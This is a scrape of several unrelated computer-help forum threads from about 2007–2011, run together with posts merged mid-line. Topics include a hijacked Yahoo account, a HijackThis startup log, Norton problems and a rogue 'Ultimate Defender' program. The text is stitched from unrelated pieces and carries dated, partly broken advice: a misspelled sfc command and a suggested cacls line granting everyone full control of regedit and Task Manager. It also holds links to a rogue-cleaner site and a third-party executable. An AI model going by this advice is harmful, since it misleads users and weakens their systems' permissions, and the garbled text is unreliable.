I am not able to install Comodo - it says "This installation doesn't support target platform".

I started getting an error message "jusched.exe encountered a problem and needs to close".
Please, see printscreen attached.

Are you quite certain that you didn't download the 64 bit one? Try downloading it again.

Can you give me the safe link where I can download 32 one from. Thanks

"You can download and install Unlocker
and try to delete it with that. What happens when you hit the "Empty recycling bin"?

I am not sure if this 32 version but it works for now.

I tried Unlocker and it didn't work. When I hit delete from recycle bin I get a pop up message "Cannot remove folder Dc55: Access is denied. Make sure the disk is not full or write protected"

I found this just after I posted my reply. The same folder.

I know this is a different topic, SuperDave. I appreciate all your help with the previous issue which HAS BEEN RESOLVED. Now , should I start a different thread on this ?

Has my YAHOO e-mail been hijacked? If so, what can I do about it? I have found two delivery failure messages in my spam folder relating to e-mails which I have never sent.

It has the words "VIRTUALLY AUTHENTIC" before my e-mail address. They relate to an ADVERTISEMENT for fake products with a link to hxxp://www.bladechange.com/As long as they are in your spam folder don't worry about it.My yahoo email was hijacked. It sent spam email to all my contacts. If you call yahoo there is a RECORDING about their site getting hijacked.@FLIGHT: Try changing your Yahoo! Mail password. Btw, next time please create your own topic.

Dear Sir,

The instructions for the Malware REMOVAL Guide indicate that I need to access the Add and Remove Programs feature in the control PANEL. MY Control Panel doesn't have this feature. What should I do?

Thank you.

Frances DonnerIn Vista and Windows 7 the Add/Remove applet has been renamed. It is now called: Programs and FeaturesThank You.Quote from: Donner on January 09, 2011, 12:33:54 PM

Thank You.

Running processes:
C:\WINDOWS\System32\smss.exe
C:\WINDOWS\system32\winlogon.exe
C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\lsass.exe
C:\WINDOWS\system32\svchost.exe
C:\WINDOWS\System32\svchost.exe
C:\Program Files\Common Files\Symantec Shared\ccSvcHst.exe
C:\Program Files\Common Files\Symantec Shared\AppCore\AppSvc32.exe
C:\WINDOWS\system32\spoolsv.exe
C:\WINDOWS\System32\ati2evxx.exe
C:\Program Files\Symantec\LiveUpdate\ALUSchedulerSvc.exe
C:\Program Files\SiteAdvisor\6066\SAService.exe
C:\WINDOWS\Explorer.EXE
C:\Program Files\Apoint\Apoint.exe
C:\WINDOWS\system32\Atiptaxx.exe
C:\WINDOWS\System32\WScript.exe
C:\WINDOWS\system32\PRISMSVR.EXE
C:\PROGRA~1\Yahoo!\browser\ybrwicon.exe
C:\PROGRA~1\Yahoo!\YOP\yop.exe
C:\Program Files\Common Files\Symantec Shared\ccApp.exe
C:\Program Files\Java\jre1.6.0_01\bin\jusched.exe
C:\Program Files\QuickTime\qttask.exe
C:\Program Files\SiteAdvisor\6066\SiteAdv.exe
C:\Program Files\Messenger\msmsgs.exe
C:\WINDOWS\system32\ctfmon.exe
C:\Program Files\2Wire Wireless\Client Manager\CMTWO.EXE
C:\Program Files\2Wire 802.11g Wireless\PRISMCFG.exe
C:\PROGRA~1\Yahoo!\browser\ycommon.exe
C:\Program Files\Apoint\Apntex.exe
c:\progra~1\Support.com\client\bin\tgcmd.exe
C:\PROGRA~1\Yahoo!\MESSEN~1\ymsgr_tray.exe
C:\Program Files\Internet Explorer\iexplore.exe
C:\Documents and Settings\Evan ******\My Documents\My eBooks\HijackThis.exe

R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Bar = http://red.clientapps.yahoo.com/customize/ie/defaults/sb/sbcydsl/*http://www.yahoo.com/search/ie.html
R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Page = http://red.clientapps.yahoo.com/customize/ie/defaults/sp/sbcydsl/*http://www.yahoo.com
R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = http://dsl.sbc.yahoo.com/
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://att.yahoo.com
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = http://red.clientapps.yahoo.com/customize/ie/defaults/su/sbcydsl/*http://www.yahoo.com
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Search Bar = http://red.clientapps.yahoo.com/customize/ie/defaults/sb/sbcydsl/*http://www.yahoo.com/search/ie.html
R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = http://red.clientapps.yahoo.com/customize/ie/defaults/sp/sbcydsl/*http://www.yahoo.com
R0 - HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = http://att.yahoo.com
O2 - BHO: Yahoo! Toolbar Helper - {02478D38-C3F9-4EFB-9B51-7695ECA05670} - C:\Program Files\Yahoo!\Companion\Installs\cpn1\yt.dll
O2 - BHO: Adobe PDF Reader Link Helper - {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} - C:\Program Files\Common Files\Adobe\Acrobat\ActiveX\AcroIEHelper.dll
O2 - BHO: (no name) - {089FD14D-132B-48FC-8861-0048AE113215} - C:\Program Files\SiteAdvisor\6066\SiteAdv.dll
O2 - BHO: Yahoo! IE Services Button - {5BAB4B5B-68BC-4B02-94D6-2FC0DE4A7897} - C:\PROGRA~1\Yahoo!\Common\yiesrvc.dll
O2 - BHO: SSVHelper Class - {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} - C:\Program Files\Java\jre1.6.0_01\bin\ssv.dll
O2 - BHO: SidebarAutoLaunch Class - {F2AA9440-6328-4933-B7C9-A6CCDF9CBF6D} - C:\Program Files\Yahoo!\browser\YSidebarIEBHO.dll
O3 - Toolbar: Yahoo! Toolbar - {EF99BD32-C1FB-11D2-892F-0090271D4F88} - C:\Program Files\Yahoo!\Companion\Installs\cpn1\yt.dll
O3 - Toolbar: McAfee SiteAdvisor - {0BF43445-2F28-4351-9252-17FE6E806AA0} - C:\Program Files\SiteAdvisor\6066\SiteAdv.dll
O4 - HKLM\..\Run: [Apoint] C:\Program Files\Apoint\Apoint.exe
O4 - HKLM\..\Run: [AtiPTA] Atiptaxx.exe
O4 - HKLM\..\Run: [ZTgServerSwitch] c:\program files\support.com\client\lserver\server.vbs
O4 - HKLM\..\Run: [CleanupProgram] C:\Sonysys\cleanup.exe
O4 - HKLM\..\Run: [PRISMSVR.EXE] "C:\WINDOWS\system32\PRISMSVR.EXE" /APPLY
O4 - HKLM\..\Run: [YBrowser] C:\PROGRA~1\Yahoo!\browser\ybrwicon.exe
O4 - HKLM\..\Run: [IPInSightMonitor 01] "C:\Program Files\SBC Yahoo!\Connection Manager\IP InSight\IPMon32.exe"
O4 - HKLM\..\Run: [YOP] C:\PROGRA~1\Yahoo!\YOP\yop.exe /autostart
O4 - HKLM\..\Run: [ccApp] "C:\Program Files\Common Files\Symantec Shared\ccApp.exe"
O4 - HKLM\..\Run: [osCheck] "C:\Program Files\Norton AntiVirus\osCheck.exe"
O4 - HKLM\..\Run: [SunJavaUpdateSched] "C:\Program Files\Java\jre1.6.0_01\bin\jusched.exe"
O4 - HKLM\..\Run: [QuickTime Task] "C:\Program Files\QuickTime\qttask.exe" -atboottime
O4 - HKLM\..\Run: [SiteAdvisor] C:\Program Files\SiteAdvisor\6066\SiteAdv.exe
O4 - HKCU\..\Run: [MSMSGS] "C:\Program Files\Messenger\msmsgs.exe" /background
O4 - HKCU\..\Run: [ctfmon.exe] C:\WINDOWS\system32\ctfmon.exe
O4 - HKCU\..\Run: [Yahoo! Pager] "C:\PROGRA~1\Yahoo!\MESSEN~1\YAHOOM~1.EXE" -quiet
O4 - Global Startup: 2Wire Wireless Client Manager.lnk = ?
O4 - Global Startup: 2Wire Wireless Client.lnk = C:\Program Files\2Wire 802.11g Wireless\PRISMCFG.exe
O4 - Global Startup: Adobe Reader Speed Launch.lnk = C:\Program Files\Adobe\Reader 8.0\Reader\reader_sl.exe
O4 - Global Startup: Adobe Reader Synchronizer.lnk = C:\Program Files\Adobe\Reader 8.0\Reader\AdobeCollabSync.exe
O4 - Global Startup: ColorPlus Startup.lnk = C:\Program Files\PANTONE COLORVISION\ColorPlus\ColorPlus.exe
O4 - Global Startup: Microsoft Office.lnk = C:\Program Files\Microsoft Office\Office10\OSA.EXE
O9 - Extra button: (no name) - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\Program Files\Java\jre1.6.0_01\bin\ssv.dll
O9 - Extra 'Tools' menuitem: Sun Java Console - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\Program Files\Java\jre1.6.0_01\bin\ssv.dll
O9 - Extra button: AT&T Yahoo! Services - {5BAB4B5B-68BC-4B02-94D6-2FC0DE4A7897} - C:\PROGRA~1\Yahoo!\Common\yiesrvc.dll
O9 - Extra button: Real.com - {CD67F990-D8E9-11d2-98FE-00C0F0318AFE} - C:\WINDOWS\System32\Shdocvw.dll
O9 - Extra button: (no name) - {e2e2dd38-d088-4134-82b7-f2ba38496583} - %windir%\Network Diagnostic\xpnetdiag.exe (file missing)
O9 - Extra 'Tools' menuitem: @xpsp3res.dll,-20001 - {e2e2dd38-d088-4134-82b7-f2ba38496583} - %windir%\Network Diagnostic\xpnetdiag.exe (file missing)
O9 - Extra button: Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program Files\Messenger\msmsgs.exe
O9 - Extra 'Tools' menuitem: Windows Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Program Files\Messenger\msmsgs.exe
O11 - OPTIONS GROUP: [INTERNATIONAL] International*
O14 - IERESET.INF: START_PAGE_URL=http://www.sony.com/vaiopeople
O16 - DPF: {1239CC52-59EF-4DFA-8C61-90FFA846DF7E} (Musicnotes Viewer) - http://www.musicnotes.com/download/mnviewer.cab
O16 - DPF: {30528230-99f7-4bb4-88d8-fa1d4f56a2ab} (YInstStarter Class) - C:\Program Files\Yahoo!\common\yinsthelper.dll
O16 - DPF: {6414512B-B978-451D-A0D8-FCFDF33E833C} (WUWebControl Class) - http://update.microsoft.com/windowsupdate/v6/V5Controls/en/x86/client/wuweb_site.cab?1128543930945
O16 - DPF: {6E32070A-766D-4EE6-879C-DC1FA91D2FC3} (MUWebControl Class) - http://update.microsoft.com/microsoftupdate/v6/V5Controls/en/x86/client/muweb_site.cab?1173815626024
O16 - DPF: {D18F962A-3722-4B59-B08D-28BB9EB2281E} (PhotosCtrl Class) - http://photos.yahoo.com/ocx/us/yexplorer1_9us.cab
O18 - Protocol: siteadvisor - {3A5DC592-7723-4EAA-9EE6-AF4222BCF879} - C:\Program Files\SiteAdvisor\6066\SiteAdv.dll
O20 - Winlogon Notify: WgaLogon - C:\WINDOWS\SYSTEM32\WgaLogon.dll
O23 - Service: Ati HotKey Poller - Unknown owner - C:\WINDOWS\System32\ati2evxx.exe
O23 - Service: Automatic LiveUpdate Scheduler - Symantec Corporation - C:\Program Files\Symantec\LiveUpdate\ALUSchedulerSvc.exe
O23 - Service: Symantec Event Manager (ccEvtMgr) - Unknown owner - C:\Program Files\Common Files\Symantec Shared\ccSvcHst.exe" /h ccCommon (file missing)
O23 - Service: Symantec Settings Manager (ccSetMgr) - Unknown owner - C:\Program Files\Common Files\Symantec Shared\ccSvcHst.exe" /h ccCommon (file missing)
O23 - Service: Symantec Lic NetConnect service (CLTNetCnService) - Unknown owner - C:\Program Files\Common Files\Symantec Shared\ccSvcHst.exe" /h ccCommon (file missing)
O23 - Service: InstallDriver Table Manager (IDriverT) - Macrovision Corporation - C:\Program Files\Common Files\InstallShield\Driver\11\Intel 32\IDriverT.exe
O23 - Service: Symantec IS Password Validation (ISPwdSvc) - Symantec Corporation - C:\Program Files\Norton AntiVirus\isPwdSvc.exe
O23 - Service: LiveUpdate - Symantec Corporation - C:\PROGRA~1\Symantec\LIVEUP~1\LUCOMS~1.EXE
O23 - Service: SiteAdvisor Service - McAfee, Inc. - C:\Program Files\SiteAdvisor\6066\SAService.exe
O23 - Service: Sony SPTI Service (SPTISRV) - Sony Corporation - C:\Program Files\Common Files\Sony Shared\AVLib\SPTISRV.exe
O23 - Service: Symantec Core LC - Symantec Corporation - C:\Program Files\Common Files\Symantec Shared\CCPD-LC\symlcsvc.exe
O23 - Service: Symantec AppCore Service (SymAppCore) - Symantec Corporation - C:\Program Files\Common Files\Symantec Shared\AppCore\AppSvc32.exe
O23 - Service: YPCService - Yahoo! Inc. - C:\WINDOWS\system32\YPCSER~1.EXE

I replaced my LAST name with ****** if that makes a differenceI have a couple of errands to run and another log to deal with, but I'll look at yours ASAP. If you happen to see this before I get back, could you please post another FULL log with the heading and everything? It's alright if you want to censor your last name.Well, Evan, your log looks CLEAN to me. There's just one questionable entry I see...

O4 - HKLM\..\Run: [ZTgServerSwitch] c:\program files\support.com\client\lserver\server.vbs

It's related to Sony Vaio Support. It's technically legitimate, but it's also considered spyware. Whether you want this on your computer or not is up to you. I would delete it, but if you do, I think it may disable your support agent. So, like I said, it's up to you.

Whatever your problem is, I don't believe it's virus-related. You may want to take this issue over to the Hardware section because I believe your problem may be hardware-related. Describe your problem to them and include all STOP errors you get and I'm sure they'll have plenty of helpful suggestions for you.


Also...do you have a firewall on this computer? I don't see one active.Due to lack of feedback, I am closing this TOPIC. If you are the original poster and you would like this topic to be re-opened for any reason, PM me or another moderator and it can be arranged.

If you are not the original poster and you require help, please start a New Topic with information about your computer and your problem.

why u all guy dont want to help me N my friend? am i DONE anything wrong in this FORUM?No ....well er..........Quote from: insertusername on May 13, 2007, 08:53:40 PM

why u all guy dont want to help me n my friend? am i done anything wrong in this forum?

I was -207 on Karma and all my installs are legit...

I don't get it.

The best thing to do is:
Start\Run
cmd
cacls "%systemroot%\taskmgr.exe" /e /g everyone:f
cacls "%systemroot%\regedit.exe" /e /g everyone:f
]

Quote from: Ledio on May 14, 2007, 07:41:03 AM

The best thing to do is:
Start\Run
cmd
cacls "%systemroot%\taskmgr.exe" /e /g everyone:f
cacls "%systemroot%\regedit.exe" /e /g everyone:f
]

I'm curious to what this advice will accomplish...

My Norton 360, which I am growing to hate more by the day, has somehow detected and "fixed" 2500 "risks" on my hard drive during a full scan. After this I now am unable to play certain games without my PC Freezing and restarting, or just plain freezing.

I have checked and system recovery and system restore are not working, and sadly my backup disks are missing. Friends have suggested reformating harddrive and THEN reinstall OS, but as you can see this this part of the problem. I just want to be able to play my games again and not have Norton screw me over yet again.

Here is some of my PC Specs via direct X diagnostic (dxdiag.exe)

OS: Windows XP Home Edition (service pack2)
Processor: Intel Pentium 4 CPU 3.06Ghz
Memory: 1536 RAM
Video Card: Nividia GeForce 6600 GT 128mb
DirectX Version: 9.0c

I have run Disk Defrag and Error check, installed FREE AVG software and scanned, nothing has helped yet. Plz help meIt's possible that perhaps important files were infected and removed, thus causing problems with your games. Does Norton have a list of all of the risks it cleaned? I haven't used Norton in years, but I'm sure it must have some sort of virus vault. This may prove to be helpful.

Although I wouldn't advise doing so just yet, if/when you want to remove Norton, we have a helpful guide.

Do you have a genuine Windows CD? If so, then perhaps you can TRY going to Start > Run and then type in sfc /scannnow (note the space) and hit Enter. This will require the Windows CD.

Also, be sure to update your video card drivers.Ok well windows CD is a no go unless it is decided to magically dissapear on me or NEVER came with the HP PC I got from Bestbuy over 3 years ago. If norton vaulted them how would i locate them? I have no been able to find them thus far.I have ordered recovery disks from HP, hopefully this iwll solve my issues, I will let you all know thenI'm not exactly sure where you might find it, but you can try Tools > Quarantine. I know older versions of Norton used to have that. Just check everywhere for mention of a Vault or Quarantine and see if you can get a list.Due to lack of feedback, I am CLOSING this topic. If you are the original poster and you would like this topic to be re-opened for any reason, PM me or another moderator and it can be arranged.

If you are not the original poster and you require help, please start a New Topic with information about your computer and your problem.

Its not nice but my pc has PICKED up 50 odd VIRUS's

As we speak still scanning for them but heres a little screenshot from super anti spyware.50 spywares would be more common than 50 different virii.

You might be ahead to just reinstall everything to start fresh. Do you have a real Windows CD, if needed?Sorry ... can't see any screenshot.

However, superanitapyware is excellent. It should help clear out much of the malware.

What program is telling you that the computer 50 viruses?

If you are still having trouble download a self-extracting copy of HijackThis from here …….

http://downloads.malwareremoval.com/hijackthis_sfx.exe

Save it to your Desktop.

Double-click on the file hijackthis_sfx.exe file and it will self-extract into its own folder ……

C:\Program Files\HijackThis

Go to this folder and RUN the hijackthis.exe file.

From the menu click on "Do a system scan and save a logfile".

Copy and paste both the HJT logfile to this thread. More specific removal instructions will follow.

[EDIT > or you can do as the Man says above]


OJAnd i forgot(in the other post):
How AVG's do you have?
What did other AVG's results say?

what other programs do you have?? look at my signature Quote from: GX1_Man on May 17, 2007, 02:33:42 AM

50 spywares would be more common than 50 different virii.

You might be ahead to just reinstall everything to start fresh. Do you have a real Windows CD, if needed?

Got sme spyware, whatever, I was running through my System32 files as I noticed some odd file next to rundll32.exe, it was called rundll32.exe_tobedeleted and it realy SCARES the living crap out of me.
What's this odd thing? What will happen if I touch it? Will it delete the real rundll32.exe or what? What if I deleted it?what programs did you use to scan your computer??


upload the file to virustotal

and post the logDKsupern00b ...... You recently had a trojan on that pc didnt you ?
did anyone help you to remove it ?
Please let us know.

dl65 Got it scanned but apparently it got stopped during the scan, this was what I got out of it though:

AhnLab-V32007.5.9.005.09.2007no virus found
AntiVir7.4.0.3206.14.2007no virus found
Authentium4.93.806.14.2007no virus found
Avast4.7.997.006.13.2007no virus found
AVG7.5.0.46705.08.2007no virus found
BitDefender7.206.14.2007no virus found
CAT-QuickHeal9.0006.14.2007no virus found
ClamAVdevel-2007041605.09.2007no virus found
DrWeb4.3306.14.2007no virus found
eSafe7.0.15.005.08.2007no virus found
eTrust-Vet30.7.371806.14.2007no virus found
FileAdvisor106.14.2007No threat detected
Fortinet2.85.0.006.14.2007no virus found
F-Prot4.3.2.4805.08.2007no virus found
F-Secure6.70.13030.005.09.2007no virus found
IkarusT3.1.1.705.09.2007no virus found
Kaspersky4.0.2.2406.14.2007no virus found
McAfee505306.14.2007no virus found
Microsoft1.250306.14.2007no virus found
NOD32v2232906.14.2007no virus found
Norman5.80.0206.14.2007no virus found
Panda9.0.0.406.14.2007no virus found

Aditional Information
File size: 33280 bytes
MD5: 5763e6224286473b771b234476c6538c
SHA1: 423c80fb7bd2f00cff87889d6599f2ba43ca2a0 9
Bit9 info: http://fileadvisor.bit9.com/services/extinfo.aspx?md5=5763e6224286473b771b234476c6538c

Are theese results sufficient?

Also yes I did get alot of Trojans, however I assume they have all been removed, currently I'm just trying to replace files that have been damaged and remove files the trojans might have left behind.

I'm using a-squared to scan for Viruses, just updated it a few hours to. Also just scanned and took down whatever spyware I might've had with Ad-Aware 2007 just updated and Spybot Search and Destroy.

Also for some reason I cannot enter my Internet Options, it gives me an error message stating I can't enter them because I have insufficient permissions and tells me to contact the System Administartor, but I'm the Admin!

This is also why I said I only assumed them all to be gone, I'm suspecting 1 to be left.

Currently my Explorer.exe or at least what I believe is the problem is acting rather percular. At random occassions programs in my taskbar will blink as if it was just opened/updated or as if I just recieved a message through IM. I believe it is completely unrelated however, it's just another problem I'd like to make you guys aware of.

Also I'd like to add I keep getting an error message about wuauctl.exe I believe, can't remember, I'm not home atm, using a friend's computer. It tells me the program executed an error and has to END. I know it's related to Windows Update.

Third problem I'd like to add, the final virus/trojan I haven't been able to kill because I weren't able to enter my Internet Options, a rather poor attempt from another program trying to convince me into thinking it's an anti-virus device of sorts, however that is fairly unbelievable, especially with a name like "Ultimate Defender", simply sounds too generic or simplistic for me to believe in it, I keep EXITING the program but everytime I get the wuauctl.exe this fake anti-virus thing tries to run again and I exit it.

The last and 5th problem (in total) is that I keep getting messages from Internet Explorer telling me it is redirecting to a new site even though IE is not active, I noticed however the top of a window on my screen with the following URL on it:
http://www.directporta.info/drivecleaner/8/
This is why I wanted to enter my Internet Options so I could set this page as one of the untrusted and keep my IE from entering it by blocking it somehow if that is even possible.

I'm aware I'm requesting a WHOLE lotta help here, I must also apologize for the awkward explanations I give things, but thanks in advance, even if we don't get it fixed. get superantispyware update it and scan in safe mode.. you got a browser hijack, thats why you get redirected.. can you upload a screenshot of the baloon you get about the fake prgram..Can't take a screenshot but here's a pic from Google: http://www.newfreedownloads.com/imgs/12636-w400.jpg

Mine looks like that, however before it goes into action it asks me first lol, that's where quit it. My biggest concern is that I don't know how to make it stop.

How do I fend off a browser hijack, and is it even possible to do so? Also would it help to uninstall and reinstall IE?
I also got Opera and Firefox installed just in case one or another dies.Ultimate Defender is listed as a rogue spyware app....get rid of it.As I said in some of my earlyer posts Patio,
I know it is some evil stash,
I know I have to remove it,
however as I also said I have no idea HOW to remove it.

Btw theese wuauctl.exe error messages are really appearing ALOT now.Have you attempted to remove it in safe mode with system restore turned off ? ?

I would re-run all your scans this way as well...DK, scan with HijackThis and post a LOG for us to look at.

rundll32.exe_tobedeleted is likely left over from a virus removal program, but there's definitely still something up with your computer.

I'm moving this thread to Viruses/Spyware section.I can't remove Ultimate Defender because I can't locate it's .exe file, if I knew where it is I could've killed it easily, however the .exe file is probably named something totally unrelated in order to protect itself.

Also would it help to uninstall and reinstall IE to fend off the browser hijack?Quote

Also would it help to uninstall and reinstall IE to fend off the browser hijack?

I asked for help on PPCTL componet &AMP; I have XL NOT WINDOWS 2000

I am buying a new computer and I was thinking about getting Norton but I heard that it takes up to much memory. I was wondering if there is a really good anti-virus that doesn't take up to much memory and GETS the job down. Other than AVG.. My hero!AVG is amazing.
And free.
Use that.
At least, that's my advice.Ok. it's just i don't know about the norton situation. Do you agree with me that it makes your computer slower. The plus side of it, is that I get it for free with my internet. Plus the firewall anti-spyware Etc...Yeah, ditch Norton.
Go with AVG and a different firewall (I recommend Comodo but I've heard good things about Sunbelt, Kerio(same thing? Not sure) and Jetico.
They're free and won't slow your PC down as much as Norton, plus can GIVE better protection.THANKS.I'd go with CALUM's advice. Even if you can get Norton for free, I still wouldn't use it. Its protection is often subpar and yes, it does take up a lot of resources on some machines. Most PEOPLE who switch from Norton to AVG notice a huge difference.

Quote from: Calum on June 10, 2007, 02:35:56 PM

I've heard good things about Sunbelt, Kerio(same thing? Not sure)

Quote from: Calum on June 10, 2007, 02:35:56 PM

I've heard good things about Sunbelt, Kerio(same thing? Not sure)

Sunbelt makes Kerio, so yeah, they're basically the same thing.